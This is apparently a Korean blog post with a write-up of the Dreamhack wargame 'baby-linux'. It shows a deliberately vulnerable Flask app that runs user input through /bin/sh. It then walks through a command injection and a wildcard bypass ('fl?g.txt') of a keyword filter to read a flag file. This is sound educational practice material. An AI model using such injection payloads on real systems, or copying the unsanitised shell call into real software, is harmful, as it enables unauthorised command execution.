티스토리 뷰

Wargame/Dreamhack

baby-linux

장일영 2024. 5. 24. 11:54

문제 설명

837

리눅스 명령어를 실행하는 웹 서비스가 작동하고 있습니다.
해당 웹 서비스의 코드가 첨부파일로 주어집니다.

flag.txt 파일을 찾아 출력하여 플래그를 획득하세요!

플래그 형식은 DH{...} 입니다.

 

 

풀이

문제 서버로 curl 요청을 전달하면 html 파일을 볼 수 있다.

<html>
<head>
  <link rel="stylesheet" href="/static/css/bootstrap.min.css">
  <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
  <link rel="stylesheet" href="/static/css/non-responsive.css">
</head>

<body class="container">
  <form method="POST">
    <div class="row">
      <div class="col-md-6 form-group">
        <h1>Baby Linux</h1><br/>
        <div class="input_box">
          <p class="input_txt">echo $(<input type="text" name="user_input" class="input_in_txt" required>)</p>
        </div>
      </div>
    </div>

    <button type="submit" class="btn btn-default">Submit</button>
  </form><br/><br/>
  <h2>Result</h2>
  <pre></pre>


  <script src="/static/js/jquery.min.js"></script>
  <script src="/static/js/bootstrap.min.js"></script>
</body>
</html>

 

보면 `user_input` 이라는 이름의 form을 POST로 서버에 전송하고, 이를 통해 플래그를 받을 수 있음을 알 수 있다. 서버의 코드를 확인해보면 다음과 같다.

#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template

APP = Flask(__name__)

@APP.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        user_input = request.form.get('user_input')
        cmd = f'echo $({user_input})'
        if 'flag' in cmd:
            return render_template('index.html', result='No!')

        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('index.html', result=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('index.html', result='Timeout')
        except subprocess.CalledProcessError:
            return render_template('index.html', result='Error')

    return render_template('index.html')

if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

 

코드를 보면 `cmd = f’echo $({user_input})’`으로 유저의 입력값을 그대로 echo 처리 해서 사용하고 있는 것을 볼 수 있다.
유저가 입력한 text에 flag라는 문자열이 포함되어 있으면 No! 라는 문자열을 반환하고, 실제로 플래그를 얻을 수 있는 작업은 try문 이후임을 알 수 있다.

subprocess 모듈은 Python에서 새로운 프로세스를 생성하고, 해당 프로세스의 입력, 출력, 에러를 파이프에 연결해 반환 코드를 얻도록 하는 모듈이다. try문의 내용은 유저의 입력값을 인라인 코드로 실행한 결과를 output 변수에 할당하고, 이를 디코딩해서 반환하는 것이다.

그렇다면 유저 인풋에 명령어를 넣어서 요청하면 명령어가 포함된 cmd 스트링은 `subprocess.check_output()` 함수에 그대로 인자로 들어가게 되므로 입력값에 포함된 명령어를 실행하게 된다.

따라서 현재 폴더에 있는 모든 파일을 확인해보면,

total 32 
drwxr-xr-x 5 chall chall 4096 Apr 21 2023 . 
dr-xr-xr-x 1 root root 4096 Mar 18 01:55 .. 
-rwxr-xr-x 1 root root 884 Apr 21 2023 app.py 
drwxr-xr-x 3 root root 4096 Apr 21 2023 dream 
-rw-r--r-- 1 root root 34 Apr 21 2023 hint.txt
-rw-r--r-- 1 root root 5 Apr 21 2023 requirements.txt 
drwxr-xr-x 5 root root 4096 Apr 21 2023 static
drwxr-xr-x 2 root root 4096 Apr 21 2023 templates

 

이런 파일이 있는 것을 볼 수 있다.

우선 shell을 실행하고 있는 내 권한과, 현재 위치를 확인해보면 유저 이름은 `chall`, 현재 위치는 `/app`인 것을 알 수 있다. `/app` 폴더의 권한을 보면, 소유자는 chall, 소유 그룹은 chall, 소유자는 쓰기, 실행, 읽기 권한, 소유 그룹은 실행, 읽기 권한, 그 외 그룹은 실행 권한만 가지고 있는 것을 볼 수 있다. 

drwxr-xr-x 5 chall chall 4096 Apr 21 2023 .

 

 `hint.txt` 파일은 root 소유의 파일이고, 내 권한으로는 읽는 것만 가능하다. 궁금하니까 우선 읽어오면,

Where is Flag? ./dream/hack/hello

 

여기에 플래그의 위치가 적혀있다. 해당 폴더의 목록을 확인하면 다음과 같다.

total 12
drwxr-xr-x 2 root root 4096 Apr 21 2023 . 
drwxr-xr-x 3 root root 4096 Apr 21 2023 ..
-rw-r--r-- 1 root root 68 Apr 21 2023 flag.txt

 

`flag.txt` 파일 역시 root 소유의 파일이다. 하지만 내 권한으로 읽을 수 있긴 하다. 파일을 읽어오면 될 것 같지만 `cat ./dream/hack/hello/flag.txt` 명령어에는 flag 문자열이 있으므로 Python 코드의 분기에 걸리게 된다. 따라서 다른 방법이 필요하다. 

코드에 따르면 유저가 text input에 뭔가를 적는다는 것은 아래 명령어를 실행하는 것과 동일하다.

/bin/sh -c {user_input}

 

Python 코드에는 정확히 flag라고 되어 있으므로 와일드카드를 사용하면 flag라는 텍스트를 전부 입력하지 않아도 해당 파일을 읽어올 수 있다.

/bin/sh -c cat ./dream/hack/hello/fl?g.txt

 

위 명령어가 내부적으로 실행되도록 `cat ./dream/hack/hello/fl?g.txt` 문자열을 서버에 전송하면 `flag.txt` 파일을 읽어올 것이고, 이것은 cmd 변수에 할당된다. 따라서 디코딩 된 플래그를 출력할 수 있게 된다.

'Wargame > Dreamhack' 카테고리의 다른 글

xss-2  (0) 2024.05.24
xss-1  (0) 2024.05.24
ex-reg-ex  (0) 2024.05.24
64se64  (0) 2024.05.24
phpreg  (1) 2024.05.24
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2026/06   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함